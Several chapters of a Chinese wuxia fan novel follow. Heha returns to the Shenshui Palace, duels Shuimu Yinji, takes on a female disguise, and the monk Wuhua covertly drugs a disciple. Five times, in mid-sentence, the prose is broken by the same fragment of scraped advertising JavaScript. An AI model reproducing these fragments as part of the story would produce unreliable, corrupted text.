雪鸮虽与猫头鹰是近亲,但也习惯白日活动,因此总是精神不济,只停留在何欢肩头。何欢安抚她:“等回去就可以好好歇歇了。”他这样说着,脚下轻功稳定且迅速,其实停在他肩头也入在树上安眠一样,并不多劳累。 甚至小雪还打起精神关心了一下他。 “我?”他笑了笑,“我本就不必睡觉,只是人做久了,形成习惯了。真不睡也没什么。” 说到底,不管是吃饭还是睡觉,都不是他必须的行为。 小雪惊异:这不比做人要自由吗? “嗯?这样想来的确比人自由些……” …… 终于来到神水宫所处的清幽山谷。狭道傍水蜿蜒,两侧皆是森森古木。沿山谷向里走约数十里,视野方开阔起来,只见一片偌大水潭。潭中不知怎的,有五色光芒随水波荡漾。何欢小时候曾固执地认为这水有神力、其下定有与他相似的妖怪。水母阴姬当时也好奇的陪他共潜过多次,却一无所获。 彼时何欢虽是妖怪化形,心智尚且不全,真如稚儿一般。他觉得只他一个化形的妖,与此世格格不入。委屈也不同旁人讲,寻常看来仍是大家的小开心果,只是背地里总闷闷不乐。水母阴姬虽能察觉到,但她也不善言辞,只能每天陪在何欢身边,甚至对于武林中人来说最私密的练功时也带着他。 终于有天,水母阴姬想好了怎么劝他,带他去了市井巷里,去见所谓世人。“我是人,但旁的人见了我,也要说我是异类。”她牵着何欢,所到之处人群如鸟兽散开,而她随意却步伐坚定地向前走着,不曾顾虑他人眼光,“他们认为我身形高大,女生男相,从不顾及抛头露面,也没有因为他们的不赞同就举足不前,便是怪人。即使不认识我,也会在背后议论我。” 确实,何欢可以听到他们窃窃私语,听到他们说,“怎会有这样的女人。” 好像男人女人天生该是怎样就要是怎样,可谁也不知规矩是从何而定的。 何欢抬起头,有些担忧的看向水母阴姬。 水母阴姬声音依旧平和,“而哪怕认识我的人,也觉得我不是正常人。人生在世,最亲密的不过父母,我同父母讲,我讨厌男人,一想到要和男人在一起生活,就犯恶心。”说到这里,她竟相觉得有趣般勾起了唇,是个略带讥讽的笑,“他们吓坏了,母亲一味地哭,父亲拿起镰刀想要打死我。可我会武功,他怎么都碰不到我。” “我不反抗,只是躲,他也要边打边骂。到最后,父亲累了,他大喊,你给我滚出去,你有病,你是疯子,我不要疯子当女儿。母亲还是只会哭,我当时想,只要她说一句话,我就留下,或者,我可以带她一起走,当时我已经创建神水宫,绝不叫她受委屈。” “直到我离家,她还只是坐在那里哭。从那开始,我再也没回去过。所以就算我父母双全、武功高强、权势滔天,我也……”话到此处她想了想才接上,“是个被同类排挤的疯子、怪物。” 何欢更心疼了。他明明不是真正的人、不是真正的孩子,却比大多数人都要有人性、比大多数小孩都要可爱。他软绵绵的温热的小手攥住水母阴姬的手指,将自己的脸蛋放在她手背上努力蹭了蹭,他认真道,“不难过,姨姨不难过。” 但谁人见了,都会觉得他才是更难过的那个人。一双玻璃珠似的眼睛中已经满溢泪水,憋着嘴努力忍住不让眼泪落下来,脸蛋也憋到通红。 水母阴姬停下脚步,定定望着他,“我不难过,我只是想告诉你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,从古至今,人们惯会拉帮结派,排挤他人。即使是同族、同类,也会反手成刀斩伤同伴。这世上,本就没有什么必须合群的道理,因而,不必强求。” 这并非何欢的木头脑袋短时间能完全理解的,但他看着水母阴姬,点了点头,擦掉眼泪后露出一个小小的笑容。 “我知道了,我不强求他人,我只跟姨姨亲。” 水母阴姬:…… “罢了,随你吧。”她的手掌落在何欢头顶,轻轻揉了揉。 …… 水母阴姬睁开了眼睛。 宫南燕在她身边陪着她,看她醒了,问,“做了个好梦吗?你笑了。” “没有。不过是想起一些过往琐事。”水母阴姬神色依旧严肃中带着高深莫测。 宫南燕看她刻意抿下的唇角,也不拆穿她,只是好似自言自语般,“算算日子,他也该回来了。” “你说的是谁?”水母阴姬的神色变得更加阴沉了。这两年,她看起来越来越不苟言笑,也越来越骇人。 宫南燕却不怕她,嘻嘻笑了一声,“还能是谁,小雪呗,出去放风久了,不该想念宫里吗。” “……”水母阴姬就不接话了。 “你越来越闷了。”宫南燕脚步轻移,到了她近前。她跪坐在水母阴姬窗前,轻轻将头靠在了水母阴姬膝盖上,“我知道你记挂他。他在你心里,比谁都要重,比我还要重,是不是?你可以抛下我,却绝不会抛弃他。我不吃醋,因为我知道他是很好的孩子。可是你再这样,他只会离你越来越远。我和你的关系,你把我当小孩子、宠着我管着我,我心里高兴。但他已经长大了,有自己的想法,你不能再像小时候一样对他。” 水母阴姬垂眸看她,半晌,她应了一声。 宫南燕就笑了,面色如春花一般明媚,让冰冷的寝室也熠熠生彩,“那么……”她将手放在水母阴姬手上。 “先去听今天的经。” 宫南燕的笑容从脸上迅速消失了。 宫南燕抬起双手捂住了耳朵。 她大喊,“不去不去,要去你去,我看见男人就头疼,听见人念经就耳朵痛,看见光头就眼睛痛,和尚三样都占了,一看到我就浑身上下都不舒服……总而言之我不去!” 她这个样子,的确比何欢像小孩子。 11. 第 11 章 “什么人?”石道中传来轻微声响,守着神水宫宫门的弟子警觉抬头,还没看到人影就听到一声鸟鸣。 “是小雪!”对方惊喜地喊道。 小雪自阴影中飞出,在她身侧盘旋了一圈就又飞回正稳步而来一黑衣男子肩上。 来人面上带着清浅笑意,身形高挑,身着黑色劲装,腰系一条玄色金莲纹绦带,更显得宽肩窄腰,体态风流。 “是少宫主回来了!”如果方才看到鸟儿只是惊喜,现如今就是喜上眉梢,高兴的快要跳起来了。 她先向前跑了两步,像是想要迎接何欢,可中道又顿住,想起什么似的,跺了跺脚,扭头一溜烟儿跑了,甚至用上了轻功,远去的速度比小雪飞的还快。 何欢有些迟疑,他以往回来从没有过这样的待遇,一时之间不知发生了什么,更开始疑惑是不是回来的时机不对。 小雪用翅膀拍了拍他的脸,他才定下神来继续往前走。 石道前百余步昏暗无光,步入有人看守的石台,才宽阔起来。几盏石头做的灯盏吊在墙壁半空散发光芒,仔细打量才能看见在石盏上搁置的,个个都是鸡蛋大小的夜明珠,散发润泽光芒。 何欢视线自这些熟悉物件上一扫而过,忽然动了动耳朵,他已经听到石道转角后有熙熙攘攘的人声。 眨眼间,石道尽头涌来大片身穿白色弟子服的女子,她们像是奔涌向沙滩的浪花,一浪叠着一浪奔流而来,伴随活泼欢乐的呼喊声。 “少宫主,您可算是回来了!” “不要挤我,不要挤我,我站不稳啦。” “快去找少宫主要礼物!” “要三年份的量!” “啊,我的发带,谁的项圈勾住我的发带了?别扯我的头发!” 何欢看见她们,就加快步伐向她们走去,脸上露出同她们一般的真切笑意。 一众年轻的小姑娘带着明媚笑容,打闹推搡着小跑而来,三步并作两步,很快就汇聚在何欢旁边,将他包围起来。她们欢乐的像是一群小鸟,围在何欢身边叽叽喳喳,有人去摸小雪、有人挽住他的手臂,有人抓住他的手。 她们对何欢没有男女之情。纯粹的敬仰他、喜欢他,就如同喜欢从水火之中拯救他们的水母阴姬一般。不过水母阴姬要更有威严,弟子们对她又敬又怕。而她们对何欢这个耐心安抚她们、陪伴她们度过最无措惶惶时的少宫主,则既像是爱戴神明,又像是亲近兄长。 三年不见,她们有很多问题,像“少宫主又长高了”、“少宫主在外面好像瘦了”、“这次回来还走吗”之类的,被他们孜孜不倦问了一遍又一遍,于是何欢也一次又一次耐心回答,“许是又高了些”、“没有啊,没瘦,还胖了呢。”、“还是会出门,不过会时常回来,不然怎么带礼物给你们呢。” 他一边说着,一边从袖子里衣襟里掏出各式各样的灵巧小玩意儿、簪子玉佩、香薰香球等,分给各弟子。好像他的衣服下面是个无底洞。弟子们也对此习以为常——宫主和少宫主都无所不能。各个拿着自己分到的物件都合适得像是被读心一般,开心的不得了。 “还走啊,你这次走了,宫里就像死水一样,我……”最小的那个弟子抱怨的声音被同伴拉扯着衣袖,提醒着咽下去了,只是神色更加委屈。 何欢抬手摸了摸她的头,“是我惹宫主不快了,连累你们。” “少宫主哪里的话,真要折煞我们了。”女孩子们嘟嘴跺脚,也不是真的抱怨,只是撒娇,也是不舍。 “不谈这些,怎么,今日没有早课吗?这么快就来迎我,倒令我吃了一惊。” 提到这个弟子们又有话说了。 “宫主请少林的和尚来念经,我听不懂,感觉念得困困的,还不如练功有意思。” “嘿嘿,我也是,我坐在最后边打盹呢。” “我听说这个叫无花的和尚是个大师。我去得晚了只能坐在前排,他说什么我听不懂,不过他长得怪好看的,”那个说无花好看的弟子眼睛一转,机灵道,“只比少宫主 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 难看一点点。” “他没头发,在神水宫不会觉得头冷吗?”还有天真的女弟子替他担心,只是担心的角度很是清奇。 这些何欢答不上来,也没必要回答。她们只是想找人说说新鲜事儿。言未尽,众人已经簇拥着他走到了自己的寝殿,“快快换身衣服,去见宫主。” “我去吩咐烧水。” “我带小雪去吃东西!” 大家高高兴兴的再分开去做事,都充满干劲,留下同他认识最久又最寡言的一个弟子,在门外看着他。 对方柳眉不画而黑,唇不点而朱,眼神轻愁,抬手扶在乌黑门框上,欲语先休。 “怎么了,阿芜?”何欢柔声问她,“你想同我讲什么?” “你这次,不会再突然消失了吧?”终于,她开口,定定望过来,眼眸如同清晨的山谷,薄雾轻愁。 何欢更加歉疚,他保证,“不会了,不要担心。” 不料听了这话,阿芜反而神色更加戚戚。 “少宫主,你哪里都很好。只有一点,你将自己在别人心中的地位看的太轻了,好像提前就划分了界限一样。”她咬了咬嘴唇,“我有时候觉得,你同我们很近。但每每回忆起来,你从不需要我们,也从未依赖我们这些人。我知道,你离了谁都可以过得很好,也就让谁都害怕你突然消失在自己的生活里。” “我很害怕……”她颤抖着声音,这样道。 何欢自己竟不知道,他喃喃,“是这样吗?” 然而他看了阿芜垂泪模样,就先将自己的疑虑抛在脑后,安抚道,“怎么会呢,你们都是我的家人,我的朋友,你们对我很重要。不要这样想,我从没有想过离开你们。” 阿芜用那双含泪的眼睛望着他,眼中仍有万千思绪,如同野草蔓延,却再说不出口。又或许,她自己也不知道自己想要什么。 她悲哀地想:他已经那么好了,我又在要求他什么呢?总归…是我强求太多。 人怎能奢望抓住月亮。 12. 第 12 章 离开三年,寝房中却不染尘埃,衣柜里樟脑依旧,衣物也干净整洁,散发皂角清香。何欢的手指轻拂过桌角,无人知晓他在想什么。 习以为常回绝了其他弟子要为他兑水、伺候他穿衣等请求。沐浴后换上神水宫准备的衣物,他垂眸看向衣襟上的合欢花纹。 寻常衣物上并不会绣这种花的纹样。实际上,整个神水宫会在衣襟上绣合欢花的也只有水母阴姬和他。 他们曾如家人般亲密,何欢甚至差些就要喊她“母亲”,可如今想要要见她,却不知该说什么话。所谓近乡情更怯,何欢在书上读到过,却到如今才有真切的体会。 他苦中作乐般想,“这何尝不是一种‘体会’呢。”在屋子里稍坐片刻,收拾好心绪,在宫内掌座带领下,向水母阴姬如今所在的讲经堂走去。 “如今宫主每日都要参这么久的禅吗?”何欢问前面引路的万秀掌座。 万秀今年已经三十有四,是神水宫掌座之一,她有过目不忘之能,主要负责记录神水宫日常事务安排。此外,宫主的行踪也了然于心。 “少宫主走后才开始的。”相比何欢,她与水母阴姬更加亲密,也不理解当时何欢为什么不听水母阴姬的话,对他有些埋怨,因此如今说话语气中就带着些不满,“她一向天资过人,半生走过从未迷茫自疑。除了少宫主之外,还有什么需要她参悟。” 她将何欢领到讲经堂前,就随意施了一礼,“老奴还有事,便不替少宫主通传了,等大师出来后您自行进去就可。” 说完万秀转身就走,留下何欢一人立在门前,带着少许怔愕。 门内的确有讲经声不休,以水母阴姬的内力,他与万秀的话想必都听到了,等就等罢。 他站在门前,远眺庭前石碑,石碑上刻着的,却并非寻常碑文,而是水母阴姬与另一人关于养护某棵植物的辩论。 “闻所未闻不见光之木。” “名贵树种汲养之初便不见光,于地下百年无碍,厚积而薄发。” “树不易挪,频挪伤根,风餐露宿更伤神。” “小子不才,惯爱餐风露宿,恰如野蔓般肆意。身无长物,唯有家财万贯可豪掷,娇娇儿尚可养得如珠如玉,遑论树木。” “水漫且重,置木于此尚能呼吸否?” “神水建宫时签入三百能工巧匠,严谨构造,为其拆三宫四室,一月便可成。” …… 他看着看着,神情越发动容。不知何时,身后便站了一人,与他身高相仿,声音低沉,“我从未见过如此擅长诡辩之人。” 何欢转头望去,见到她神色缓和,明显也是回忆起了往昔,“自你走后,我偶尔会自问,倘若是他,他会怎么做。” “阴姨……”何欢不禁开口。 “倘若是他,也不会比我做得更好。定会杀上门去,将那人家里搅个天翻地覆,再留下什么做旧了的一分五片‘藏宝图’,说宝藏就藏于他们家中,是也不是?” 何欢的神色有一瞬间的不自然,随后默默点头,“您真是了解他。” 水母阴姬冷哼一声,“我倒情愿不了解他……”她像是想到什么,冲着何欢挑眉,“你最近有跟他联系吗?” “他身居海岛,行迹不定,即便是鸟兽也无法传讯,我已很久未听闻他的消息。” 水母阴姬闻言,竟露出满意神色——倘若是不熟悉她的人,应该也看不出这细小的变化,然而何欢尽收眼底,眼中全是笑意。随即她也意识到了这点,不自在轻咳一声,转移话题道,“好在走前已将全身本领尽数交给你,不然他这长辈当的也太轻易。” 说着说着,又哼了一声,开始教育何欢,“万般皆通,却无一到达极致,无怪乎最后被逮到海岛去。这点你不该学他。” “是,小子知道。”何欢这时候自然不会再反驳她。 “我听说,你在外面招惹了红鞋子的人。” 何欢苦笑,“我与那位姑娘相识时,并不知道她是红鞋子的人。” “招惹就招惹了,她们行事不端,恐成恶患,提前处理了也好。你与他们比试了几招?” “这……” 水母阴姬狐疑的目光看了过来。 “我……不愿招惹事端,便避开了。” 水母阴姬“嗯?”了一声,见何欢再无其他话要说,神色严厉,“饶是你自神水宫出去,说什么要做个普通人过普通人的日子,难道就能与神水宫全然割席、将宫规视若无物?就要畏战怯战、藏头露尾了吗?” “我并无此意。”何欢摇头。 “拔你的剑出来。” “我此次前来拜见宫主,并未佩剑。”这话一出,何欢就暗道一声不妙,心下后悔自己脱口而出这话,必要让阴姨更加生气。 果不其然,她怒极反笑,“宫内从未有解剑要求,连刚入门的弟子都知道,剑不离身方能自保,你出门三年,当真就忘干净了。” “我怎敢忘!”何欢连忙澄清,话音未落,水母阴姬大袖一挥,一道劲风加杂阴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冷水汽袭至面中。她足尖在地面一点,人已在半空,转身向后厉声道:“好,若让我相信你,便是你的武功已臻化境,剑气如风,非但不能落败与我,还该胜我两招,与我且来且战。” 何欢仰身躲过第一击,已知这场教训是不得不吃,他自地面前进腾挪,躲避水母阴姬自空中的袭击,身形已飘摇赶上。水母阴姬眼中赞赏一闪而过,继而出招,丝毫没有留情。 何欢一一破招,少顷两人已战至神水宫地下喷泉处。此处还有躲懒的弟子,看到他们战至此刻,惊呼出声,话音未落已被一股柔和内劲送出战场。 “速速离去。”何欢叮嘱。 “何必离去,自在旁边看,能悟得几分便凭悟性。”此时水母阴姬考虑的却更合适。 只是苦了何欢,如此作战便只能用神水宫的招式,免得弟子们学艺不精时就被带歪,平添走火入魔的风险。 须臾便已经过了百招,围观的人越来越多,两人内力都出自神水宫顶级功法,化用于水,生生不息,不尽不竭。 约莫半个时辰,何欢卖出一个破绽,两人战至平手。何欢手指点在水母阴姬气海,一道水刃划落何欢颈边半缕发丝。 “尚能入眼。”水母阴姬满意了,又开始考教周遭弟子。 何欢站在她身侧,松了一口气。 等到回寝殿途中,水母阴姬冷不丁来了一句,“倒数第三式,变式莫测,却少了几分阴毒。是你将他的招式改了?” 何欢自己都没反应过来,原来还是用出一式旁的功夫。 不过水母阴姬已不生气了,她心平气和,“他也算武林中一大鬼才,你学他的东西,本也没什么。” 再看过来,她眼中竟带着些笑意,“不过还是将将打成平手,还化用了别人的招式,该罚。” “是,任凭宫主发落。” “嗯,罚你将他有名的其他几样本事也使出来。” “您的意思是……”何欢有些迟疑,他已经想到了某种可能,但……这可是水母阴姬啊! “嗯,罚你使出缩骨、易容、变声之法,让宫内认得你的人怀疑你多了孪生姊妹为准。再罚你以女子之身行走江湖三个月,好好思量你日后到底该做些什么。” 她问,“欢儿,你可还记得,你初次游历回来,同我说过什么吗?如今你还这样想吗?” “我现在问你,你不必回答,三个月后再来告诉我答案。” 何欢欲言又止,最后也只施了一礼,“是,欢儿遵命。” 13. 第 13 章 何欢坐在镜子前,看着镜中自己,一瞬间怔忡。他轻抚过这相似又不同的面庞,想:倘若我有这般模样的姊妹……哪怕知道她有再强的本事,我也会担心她在外面风餐露宿受委屈,会担心她受人欺骗。 或许,在水母阴姬眼中也是如此。他从来都是当初那个弱小的孩子,需要她保护,需要她帮忙出头。何欢知道神水宫在世人眼中风评不好,因为外界皆传,水母阴姬是魔女、是不详的象征,神水宫会在各地劫掠女子,掠进宫里就是一生一世的囚禁、做她的奴婢。然而神水宫内外都知道并非如此。越了解她,就越觉察出其母性。从何欢,到宫南燕,再到千百神水宫的女弟子,无一不是受她恩惠,于无声处润泽,庇佑弱小。 也是在她的教导下,何欢才能更切身的体会到世间女子的难处,想要学她一样,拯救所有苦难中人。 “做人仍不够,还要做圣人啊?”记忆里与水母阴姬好像大相径庭,又在某种感官上有相似之处的那人,倚在美人塌上,冲他招手,“让我看看,你是不是那个女圣人养出来的小圣人啊?有没有舍利子能让我长见识?” “人皆驽钝,不知道自己想要什么,即使你给了他他需要的,他也不一定会感恩,反而会怪你……你若要成为人,就要先意识到,自己是弱小、无能的。不要奢望拯救所有人,就连她……”对方眯起眼睛,何欢看不见他眼底是惋惜又或者嗤笑,“她如今不也偏安一隅,只管自己能管的吗,她和你怎么就笃定,你一定会比她强?” “慢慢来,你还有的活呢,小、树、苗。” 树木能活多久?树木化形的妖呢?何欢知道自己年岁漫长,时有懈怠,也对短寿的人类抱有宽容的态度。正如红鞋子一事,即便对方有所冒犯,他就如同看待路边经过的鸟儿一样,即使鸟儿在树身上啄了一个洞,也不算什么。 但水母阴姬昨日的教导正如当头棒喝,何欢自省:我虽说要入世,可真的能理解世人吗?我所承受的事与我而言是小,放在他人身上,又当如何?我所纵容的,是应该纵容的吗? 水母阴姬给了他三月的时间考虑,他自觉愚钝,只希望三月之后,能想的明白。 …… 何欢最初对镜自观时,镜外的他看到镜子里,往往是一棵树,而不是人。后来,镜子里才映出人的样貌,样貌里有抚养之人的影子。一人浇水,一人带他晒太阳。再后来…… 何欢揉了揉太阳穴——再后来,明明有了固定的人形,却要变成另外的样子。 几年前,传授易容之法时,那人抬起他的下巴,一边与他修眉,一边漫不经心道:“男子要易容成女子,强调的便是柔和轮廓,要让人不怀疑,定要力求娇美。要么就娇嗔泼辣,挥金如土,是娇生惯养的江湖大小姐……罢,估计你也演不像。” “要么,就是有弱柳扶风之态,较大众以为的女人有过之而无不及。女人有的你必要有,女人没有而男人喜欢的,你也要有。这样那帮蠢材就不会怀疑你。譬如最容易忘的,垂珠需得点上朱砂……”他天赋异禀,惯爱将江湖中大多数人都一概而论作蠢材,自傲之余,也是智珠在握。虽说当时觉得毒舌,再回忆起,不免怀念。 如今,何欢抬起笔,最后在左右耳垂点上两点赤色。镜中人柳叶娥眉,瞳生秋水,水畔溢出一抹欲语还休之轻愁,宛如薄烟萦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绕眉眼之间。红唇微张,柔软如樱桃,呼吸间让人怀疑其口含香兰,无一处不精致、无一处不芬芳。 他站起身,身量竟也较寻常女子更矮一些,原是一早就使出了缩骨之术,避免妆后徒增不协调之处。缩骨功运用不当,到老骨头便会咯吱作响疼痛难当,因而那人并不常用。换做何欢没有如此顾虑,水母阴姬也知道,就让他将这些本领全都使出来。只是……虽不影响身体,但突然变矮,仍旧令人难以适应。 他在房间中来回踱步试探,最终才调整好步伐,正是所谓的“弱柳扶风”。 如此,才好出门。他所处之处寻常弟子不得入,如今正是早课时间,水母阴姬昨日在广场上吩咐了,今日她会前去答疑解惑,如今四下应当不会有弟子走动。出了院门,他环顾四周,发现果真如此,就松了一口气,小步向水母阴姬住所去——他也不知此刻除了去等水母阴姬,还能做些什么。 “站住,宫主纡尊降贵开课,怎么逃课了?你是哪个弟子,转过身来让我看看。”一道慢条斯理中带着傲慢的声音响起,听着格外熟悉,却叫何欢暗呼不妙。 不知阴姨有没有同南燕说明……他缓缓转身。 宫南燕只见前面身量苗条的少女缓缓转头,她个头不高,一张小脸嫩的能掐出水来,双眸含泪,好似被吓到了,开口时声音娇弱,让宫南燕平白生出一股微妙之感,“南燕……姐姐。” “我怎么没见过你?”宫南燕皱眉,这种不适感越发强烈,“是谁引你入的神水宫?” 这少女竟瞪大了本来就圆润的眼睛,问她,“阴…宫主竟没同你讲吗?” 宫南燕:?!! 14. 第 14 章 何欢喊出南燕,才觉得不合适,先不提宫南燕日日让他喊姐姐、想要做他长辈……他昨日回来却没主动去见她,估计已经让她不愉,如今还易容成陌生少女模样,合该比往日更敬她几分。思及此处,有些不自在的加了一声“姐姐”。 谁料她听罢脸色却越发不好看,上下打量何欢后问道,“我怎么没见过你,你是谁带入神水宫的?” 何欢犹豫一下,试探到,“阴姨…宫主没有同你讲这回事吗?”水母阴姬要求他的易容必须达到“让他人错认成他自己的姊妹”,有了这个要求,何欢不好直接透露自己的身份,免得再让她抓住话柄多罚三个月,但这样失口……同南燕通通气,应当算不得作弊吧? 却不曾想,宫南燕一双凤眼瞪得快要和杏眼一般大,声音也尖锐起来,“你刚刚想叫她什么?你是不是想叫她阴姬?她领你进来的?你以为你是什么身份,还要她刻意跟我讲?!” 一声锐利过一声,何欢听得连连后退,她步步紧逼,后来几乎要跟何欢脸贴脸、鼻尖对着鼻尖。 背后便是回廊石壁,已经不能再退,何欢下意识伸手想要抵住她,却因为隔得实在太近不好施展,更不能使出内力真伤了她,可谓是进退维谷。 “南燕…姐姐,你先别激动,先听我说。” “你这小狐狸精!还敢叫我姐姐!” 此时此刻,连何欢的哭笑不得也能被宫南燕认为是刻意作怪,当真说不清楚了。 正当何欢要干脆先说出身份,再作其他考虑,就听到身后熟悉低沉女声含笑道,“你记忆不好,以前见过她的,她是何欢的妹子,叫……何缨。” 是水母阴姬,她手摁在何欢肩膀上,将他带离宫南燕的压迫之下。宫南燕听见何欢的名字,狐疑的松手退开半步,又仔仔细细看了一遍何欢如今的模样。 “何欢的妹妹?我怎不知何欢还有妹妹?” “嗯,这孩子当年被王怜花带到海岛养的,今年才被允许出岛,就来寻她哥哥,”水母阴姬看着何欢,暗含戏谑地加了一句,“她被那人养废了,很多事都不懂,你好好看护她。” 何欢一愣,没想到昨日她看起来还不愿意提起王怜花姓名,今日就能直说出口。又或许…唉,大概是仍有些别扭。 宫南燕眉头越皱越紧,最后喊到,“你骗我也不找些好的理由,倘若她真是何欢的妹妹,那定会和何欢一同被你收养。你既然收养她,就不可能允许怜花公子将她带走。不过…眉眼间真有何欢的模样……你,你不会是想……她到底是谁?!” “是我……是我!”眼见水母阴姬端起一副再不解释的、看热闹的模样,何欢无奈,终于还是用本音同她打招呼,“南燕,莫要再瞎猜了。” 按照她方才揣测的方向,再说下去两人怕不是真要吵起来… …… “你是何欢?!”她喊出声来,被水母阴姬以手指抵住了嘴。 “莫要声张,我且问你,你记得她是谁了吗?” “啊?”宫南燕一时之间摸不准头脑,看向何欢又看向水母阴姬,最后犹疑道,“这,何…何缨妹子?” “正是。”水母阴姬点头,“不过,你说的也有道理,她的身份连你都骗不过,更别提万秀她们。” 在宫南燕扯着她衣袖同她掰扯“你这话是什么意思?是不是还在报复我前几日说你罗里吧嗦管的太多?”时,她反手握住了宫南燕的手拍了拍,继续同何欢说,“那么,你选吧,是当我水母阴姬在外潜修的女儿,神水宫的神女,还是王怜花的徒弟,何欢的妹妹?” 刚刚才说过后一个身份不妥,再加上她话中的倾向……何欢能选的身份不言而喻。 而那个两人都犹豫多年,终究还是错过的称呼,在今日终于得以宣诸于口,何欢嘴唇张合,轻声喊,“……母亲。” 本不觉得有什么,但喊出口时,何欢却不禁眼眶一热。 “我儿,”时隔多年,水母阴姬的大手终于再一次抚上他的头,“回来了…就好。” 这厢执手相看泪眼之时,宫南燕在一旁腹诽,“好啊,上次才和她讲不能再像管孩子一样管着何欢了,如今就又让人家心甘情愿变成她的孩子了。” 她看了一眼何欢,又看向水母阴姬…… 罢,也不知道这人在心里想这件事究竟想了多久,如今就不拆穿他们了。 …… 收拾好心绪,何欢再作女声,有些疑虑,“可这个身份…当真能骗过万秀她们吗?” 水母阴姬看着他,却问了风马牛不相及的一个问题,“你可有照过镜子?” “易容需得对镜两个时辰以上,我……”何欢突然明白过来,“原来如此……” 他原本定型的样貌,便有三分像王怜花、三分像水母阴姬。而早起易容为女身,涂抹时无意便模仿了熟悉的女子。此刻与水母阴姬站在一起,便有五分相像,只是神态眉宇之中更添修饰后的玉润娇态。只消熟悉水母阴姬之人,便能从何缨身上找到水母阴姬的影子。 “不过,有心人只消一想,还是会将何缨与何欢联系起来,届时……”宫南燕在一旁提醒。 “届时在他们眼中,我便有儿女双全,只是之前不曾公之于众,不也很好?”水母阴姬自然而然道,她又看向何欢,眼中含笑,“而且,做我的儿子,和做少宫主还是有些不一样。至少,不会再有人置喙你离宫之事。” 原来,她并未忘记昨日万秀对何欢不满一事。只是事发突然,又牵扯众多,她并未当场发作。 毕竟当初她盛怒之下,逼何欢离开神水宫。她将何欢视若亲子,对他自然与寻常弟子不同。反思过后便借放出小雪、允许宫南燕传信服软。然而她生性冷傲,不屑将此事告知他人。在不知情的万秀等人看来,三年前何欢的离宫便是他不知感恩,受外界迷惑,惹得宫主暴怒,后还执意要走,与神水宫割席。而此次如果能借机坐实他与水母阴姬的母子关系,便只是家族纠纷。这样一来,水母阴姬不至于寒了替她着想之人的心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,也能让她们对何欢重新发自内心的接受。 “好,自是极好,连我都要怀疑,他们两个是不是真是你的孩子了。”宫南燕调笑。 …… 放课后,弟子们又三三两两聚在一起聊天。 “听说,少宫主又出门了。” “这次估计只去三两天,听说是替神女置办衣物去啦。” “没想到宫主竟然有个女儿……何缨神女长得真好看,我每次同她搭话都脸烫得厉害。” “我也是我也是,她好可爱,才到我这里!”身量较高的女弟子比划了一下下巴的位置,笑眯眯的,“好想把下巴放在她头顶蹭一蹭啊。” “好啊,你居然仗着身高想这种事,我这就把你的龌龊心思报上去,治你个不敬神女之罪!” 众女笑作一团。恰逢此时,有一身着白色僧衣,面容姣好的和尚路过,见状停在不远处,冲这边鞠躬,“阿弥陀佛。” “呀,是无花大师。”有人发现了他,连忙拍了拍身旁女伴,大家纷纷站起身回礼。 “大师好。” 虽然经书听不太懂,听经文时也容易犯困,但这段时间大家已了解无花大师为人和善,并不古板,甚至还有些小幽默,和曾经伤害过他们的男人不同,也就对他亲切了起来。 “叨扰各位女施主了,本不应该在这个时候过来,只是昨日讲经结束整理经文时,发现有一页笔摘不知遗落在何处,故而前来寻看。倘若各位女施主见到一页抄经纸,上书‘如是我闻’的,还望替我留存一下。” “应当是没见过。” “我也没见过…” 众人相互询问,皆是摇头。 此时,一阵香风送来,伴随着轻盈脚步,有女子温言含笑,“大师丢的,可是这页《妙法莲华经》?” 正是大家讨论的“何缨”神女。她缓步走开,裙摆摇曳,恰如水中盛开的洁白莲花,一双含情秋瞳,让人见之欲醉,她手中捧着的,正是一页抄经皮纸,在泛黄纸张衬托下,更显得素手纤纤,娇嫩柔弱,让人想要一握柔荑…… 有人已经握上去了,正是刚刚被治了不敬神女之罪的高个子女弟子。她一手握住何缨手掌,一手抽出经文递给旁边的同伴,“真巧,我们正聊到这个呢,神女从哪里发现的?” 同伴们也不知哪里来的好奇心,传阅了一遍,感叹道,“呀,真的呢,开头正是如是我闻四个字!好巧!” 她们心满意足后,由外围一名十二三岁的女弟子,将经文递给了无花,对方微笑着接过,道谢施礼,随即原路折返回去。只听见后面何缨神女依旧声音柔和娇美,将捡到经纸一事娓娓道来。 “昨日……我自水中将它拾起,见字迹竟还清晰如初,心生好奇……经文……故而前来……” 随着无花走远,再听不见她说了什么。 他回到与其他地方相隔甚远的孤僻院落,将那页《法华经》摊在桌上,在一旁落座,盯着那页经文,眸中晦暗难辨。 15. 第 15 章 明明同样是正道口中的妖女的孩子。 同样被送到了其他地方。 …… 入夜时分,有人敲响了无花的房门,他打开门,门外站着近日多次见到的少女。 “女施主,你今日也难以入眠吗?” 来者是神水宫女弟子阿芜,她面色惨淡,神情有些恍惚,“确实,我不明白,他又离开了,什么都没说。他明明同我讲,下次离开一定会告诉我的……” 无花微笑着,好似悲天悯人的菩萨在聆听信众的苦楚一般,在他脸上看不见一点厌烦。他本该像前几天那样再宽慰阿芜两句,可见对方浑浑噩噩的样子,他便知晓,无需如此了。 “那么,这是今日份的安神香,请施主拿好。还请记得贫僧的话,此物用的多了,属实伤身。” “多谢你,大师。”阿芜接过盛放香块的木盒,惨笑一声,“自怨自艾,夜夜失眠,不仅伤身还伤心,如此想来,我倒宁愿用这香料,不过伤身罢了。” 随后,她福了福身,转头离去。 深夜,一身穿紧身衣的蒙面身影,出现在神水宫弟子的寝舍屋顶上,几息之后,宛如游蛇一般游弋向下,入屋檐阴影内,而后消失不见。 再度显现,他停在阿芜的床前,挥掌带起的掌风熄灭了桌边点着的香。 “阿芜,醒来。”这声音沙哑而飘忽,他重复地喊着这句话,大约第三次时,阿芜躺在床上,睁开了无神的双眼。 “好孩子,我们接着聊聊你喜欢的那个人。你是怎么知道他和神女的关系的?” 